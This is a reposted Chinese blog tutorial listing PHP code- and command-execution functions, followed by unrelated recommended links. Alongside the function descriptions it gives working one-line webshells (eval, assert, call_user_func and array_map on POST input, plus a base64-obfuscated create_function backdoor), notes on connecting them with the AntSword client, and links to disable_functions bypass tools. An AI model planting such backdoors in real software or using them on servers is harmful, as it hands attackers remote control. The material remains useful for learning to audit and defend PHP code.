代码执行/命令执行总结
source link: https://y4er.com/post/code-exec/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
代码执行/命令执行总结
2019-04-10php的代码执行/命令执行函数
(PHP 4, PHP 5, PHP 7)
eval( string $code) : mixed
把字符串 code
作为PHP代码执行。
eval($_POST['c']);
直接蚁剑链接密码为c
assert
(PHP 4, PHP 5, PHP 7)
assert( mixed $assertion[, Throwable $exception]) : bool
如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行。
使用方法同eval
assert($_POST['c']);
preg_replace
preg_replace ( mixed $pattern,mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
(PHP 4, PHP 5, PHP 7)
preg_replace — 执行一个正则表达式的搜索和替换 搜索subject中匹配pattern的部分, 以replacement进行替换。
当使用被弃用的 e
修饰符时, 这个函数会转义一些字符(即:'
、"
、 \
和 NULL
然后进行后向引用替换。在完成替换后, 引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
举个栗子:
echo preg_replace('/chabug/e','phpinfo()','asdasdchabugasd');
/e
修饰符前的正则表达式匹配后面的字符串参数,将chabug
字符串替换为phpinfo()
并且以eval()
的方式执行。
echo preg_replace('/.*/e',$_POST['c'],'');
call_user_func
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
(PHP 4, PHP 5, PHP 7)
call_user_func
— 把第一个参数作为回调函数调用
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
举个例子:
call_user_func('phpinfo');
一句话shell:
call_user_func($_POST['a'], $_POST['c']);
需要设置http body和编码器
call_user_func_array
call_user_func_array ( callable $callback , array $param_arr ) : mixed
call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数
举个例子:
call_user_func_array($_POST['a'], $_POST['c']);
和上一个函数相比只是将$c
改为数组传入,蚁剑连接方式同理。
create_function
create_function ( string $args , string $code ) : string
create_function函数接收两个参数$args
和 $code
然后组成新函数function_lambda_func($args){$code;}
并eval(function_lambda_func($args){$code;})
我们不需要传参数,直接把$code
改为普通的一句话就行了。
$c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));$c();
array_map
array_map ( callable $callback , array $array1 [, array $... ] ) : array
返回数组,是为 array1
每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map()
数组数量,两者必须一样。
array_map('assert',array($_POST['c']));
还有诸如array_filter
、uksort
、uasort
、array_walk + preg_replace
、preg_filter
、mb_ereg_replace
、register_shutdown_function
、filter_var
更多的回调函数请移步 创造tips的秘籍——PHP回调后门
system
system ( string $command [, int &$return_var ] ) : string
system — 执行外部程序,并且显示输出,本函数执行 command 参数所指定的命令, 并且输出执行结果。
system('whoami');
passthru
passthru ( string $command [, int &$return_var ] ) : void
passthru — 执行外部程序并且显示原始输出
passthru('whoami');
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
exec() 执行 command 参数所指定的命令。
echo exec("whoami");
pcntl_exec
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void
pcntl_exec — 在当前进程空间执行指定程序
$path
指定可执行二进制文件路径
pcntl_exec ( "/bin/bash" , array("whoami"));
该模块不能在非Unix平台(Windows)上运行。
shell_exec
shell_exec ( string $cmd ) : string
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
echo shell_exec('whoami');
popen
popen ( string $command , string $mode ) : resource
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
$handle = popen('cmd.exe /c whoami', 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
与之对应的还有proc_open()
函数
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,使用反引号运算符的效果与函数 shell_exec()
相同。
echo `whoami`;
ob_start
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
实际上还是通过回调system函数,绕不过disablefunc
讲不清楚,直接贴链接
bypass_disablefunc
https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
参考各位师傅的文章
Recommend
-
121
从执行命令,到读懂人的情绪,Amazon对AI的探索引发争议茉小莉·2017-12-23 14:44过不了多久,AI也许能读懂人的情绪,按笑点高低给你讲专属段子了。
-
78
D-Link service.cgi远程命令执行漏洞复现
-
112
MSSQL不使用xp_cmdshell执行命令并获取回显的两种方法
-
92
-
6
这是一个由有条件的任意用户登录+低权限文件上传+低权限目录穿越+低权限文件包含组成。可能是盯着国内OA的人太多了,这个漏洞在2020年9月28号的11.8版本中被更新修复,比较可惜的是,一次更新修复了全部的漏洞逻辑,不禁令人惊叹。 今天就一起来看...
-
4
Web学习进行时,最近又学习了命令执行和代码执行漏洞。于是记录了学习过程。命令执行与代码执行基础命令执行漏洞命令执行漏洞概念:命令执行漏洞,就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务...
-
6
WordPress Hosting...
-
4
1. php 代码执行 # 1. 没有任何过滤 <?php @eval($_GET["cmd"]); ?> visit: ?cmd=phpinfo(); ?cmd=fputs(fopen('test.php','w'),'<?php @eval($_POST[test])?>') # 2. addslashes 过滤 <?php $cmd = @(string)$_GET[...
-
3
填了之前“CTF中的命令执行及Bypass”的坑了属于是 有长度限制的命令执行总结参考1:p牛博客 参考2:
-
8
作者:yyjb@360高级攻防实验室 原文链接:http://noahblog.360.cn/cve-2022-21907-httpxie-yi-yuan-cheng-dai-ma...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK